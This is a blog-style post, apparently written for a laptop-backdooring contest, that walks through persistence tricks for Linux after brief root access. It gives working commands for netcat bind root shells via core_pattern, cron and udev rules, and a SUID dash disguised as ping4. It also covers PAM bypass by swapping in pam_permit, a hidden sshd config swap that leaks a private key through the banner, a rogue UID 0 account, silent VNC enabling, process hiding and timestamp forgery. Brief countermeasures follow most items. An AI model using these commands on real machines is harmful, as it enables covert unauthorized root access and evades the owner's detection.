Imagine you have root access to a machine for, say, 15 minutes. Or better: Imaging you have accidentally left your machine unattended for about 900 seconds and once you’re back, you’re wondering, what an attacker could have done.
I’ll explain a few simple and quick attacks which will have a rather high impact. The main motivation came from the Hacking Contest at the LinuxTag in Berlin. It’s rules in short are: Have your laptop backdoored in 15 minutes by the opponent team while you backdoor theirs, clean your computer in 15 minutes and exploit the opponents laptop in the following 15 minutes.
core pattern ¶
You can give the kernel a crash handler which will be executed if a segfault happens. Ubuntu uses that to launch apport and you can hijack this feature to have your rootshell executed:
echo '|/bin/nc.traditional -l -p 31337 -e /bin/sh' | sudo tee /proc/sys/kernel/core_pattern
gedit & kill -SEGV %%
You see, it’s pretty simple, quick to install and it’s powerful as well. You can now connect to localhost 31337 to have a rootshell. Of course you could launch connect back shells or any other malicious program.
To counter this threat, you might want to read this core_pattern file or in doubt erase the signal handler:
echo '' | sudo tee /proc/sys/kernel/core_pattern
cronjobs ¶
You know cronjobs, don’t you? But do you know the cronjobs of the “games” or “mysql” user? And have you checked your /etc/cron.*/? You better do 😉 Because installing malicious scripts there is pretty simple:
for u in root games mysql; do sudo crontab -e -u $u; done
5 * * * * /bin/nc.traditional -l -p 31337 -e /bin/sh
You might want to copy a file with the above mention cron string to /etc/cron.hourly/ and /etc/cron.d/.
If you are a smart attacker, you have multiple lines containing the same job, especially one line after 1000 newlines, so that the admin has to scroll years to find it…
To counter this, check your cronjobs: sudo ls -l /var/spool/cron/crontabs/ /etc/cron.*/
dash backdoor ¶
If you run a program which has the SUID bit set, then you have the rights of the user owning that file. That can be useful for ping or passwd, but probably isn’t for a shell. That’s why you can’t set the SUID bit on the bash. The “dash”, however, allows that 🙂
sudo cp /bin/dash /bin/ping4 && sudo chmod u+s /bin/ping4
To find SUID binaries: find / ( -perm -4000 -o -perm -2000 ) -type f -exec ls -la {} ;
You’ll get a rootshell by simply executing ping4.
hide processes (with listening sockets) from ps and lsof ¶
mkdir /tmp/empty
/bin/nc.traditional -l -p 31337 -e /bin/sh &
ps aux | grep $!
sudo mount --bind /tmp/empty /proc/$!
ps aux | grep $!
Countermeasure: netstat -tulpe and checking cat /proc/$$/mountinfo for suspicious mounts over /proc/.
udev exploit device ¶
The idea is to plug an exploit device into that machine and have a rootshell.
I plugged a usb mouse into the laptop, viewed dmesg or udevadm monitor to find the devices ID, which then can be used with udevadm info --path:
udevadm info --attribute-walk --path=/devices/pci0000:00/0000:00:1d.0/usb5/5-1/5-1:1.0/input/input18
That’ll produce udev attributes which can be used to write rules, e.g.
SUBSYSTEM=="input", RUN+="/bin/nc.traditional -l -p 31337 -e /bin/sh"
You want to hide that /etc/udev/rules.d or better /lib/udev/rules.d/.
To counter this threat, you have no choice besides:
grep -rn RUN /etc/udev/rules.d/ /lib/udev/rules.d/
which is unfortunately not that easy.
PAM deauthentify ¶
Most of the time, PAM is the central place for all services to authenticate a user. While configuring PAM is not the most exciting thing I know, you can exploit it without actually know anything about the modules or the syntax.
Simply replace pam_deny with pam_permit in /etc/pam.d/common-auth:
"auth requisite pam_permit.so"
To counter modified PAM rules, there’s nothing you can do besides reading your rules 🙁 If you go down this rabbit hole, bring a flashlight.
A better hack would be to replace the deny module with the permit module! cd /lib/security; ln -f pam_permit.so pam_deny.so
If it’s hardlinked like about, you can find these with
find . -links +1
if it’s copied, instead of hardlinked, you have to compare file hashes or better reinstall libpam-modules.
rewrite sshd config ¶
Public key authentication is very convenient, because you don’t have to remember passwords. Also you can you hijack accounts easily if you add your public key to the files with authorized keys 😉
cat ~/.ssh/id_rsa.pub | sudo tee /root/.wgetrc
cp /etc/ssh/sshd_config /tmp/
Put AuthorizedKeysFile %h/.wgetrc in /etc/ssh/sshd_config
Put Banner /etc/issue.net in /etc/ssh/sshd_config
sudo /etc/init.d/ssh reload
mv /tmp/sshd_config /etc/ssh/
cat ~/.ssh/id_rsa | sudo tee /etc/issue.net
This probably needs some explanation.We first copy the public key into an innocent looking file, then save the original SSHd configuration, before we edit it and put those configuration strings in it. By reloading the SSHd it’ll recognize the new configuration and we then mv the original config back! That way, the admin doesn’t see anything suspicious but the SSHd will run with your configuration! *yay*. In order to use the stored private key, we’ll blow it out to the world by putting it into the SSHd banner 😉
To counter this, either patch your sshd that it’ll immediately reload once the configuration file has been change using inotify (udev does that) or review your SSHd config and reload it even if you haven’t changed anything!
New Users with UID 0 ¶
For some reason, it is not important that a user is named “root”, but that it’s uid is 0. So if you create a user with the uid 0, you’ll have root privileges 🙂 Multiple users with the same uid but different name isn’t harmful. So combining this with the 1000 scrolllines trick mentioned above, you have to do something like this:
echo 'hackr:x:0:0:hackr,,,:/home/hackr:/bin/bash' | sudo tee -a /etc/passwd
printf %sn%s hackr hackr | sudo passwd hackr
add 1000 lines to the passwd file and do the things above again.
To counter, grep ':0:' /etc/passwd
Vino ¶
GNOME ships a VNC Server which can be activated with vino-preferences. Or for the lazy people:
gconftool-2 --set /desktop/gnome/remote_access/enabled --type bool true
gconftool-2 --set /desktop/gnome/remote_access/prompt_enabled --type bool false
gconftool-2 --set /desktop/gnome/remote_access/view_only --type bool false
Timestamps ¶
If you want to find files which have been recently modified, you can used “find”:
To find last modified files:
find -mtime -1 /
Or recently created files
find -ctime -1 /
If you have a reference file:
find -newer /path/to/file
To hide your changes to a file, you can use “find” with “touch” to either simply touch the files to give them the current timestamp, or give them a the timestamp of a reference file:
find /tmp/ -exec touch --reference=/path/to/file '{}' ;
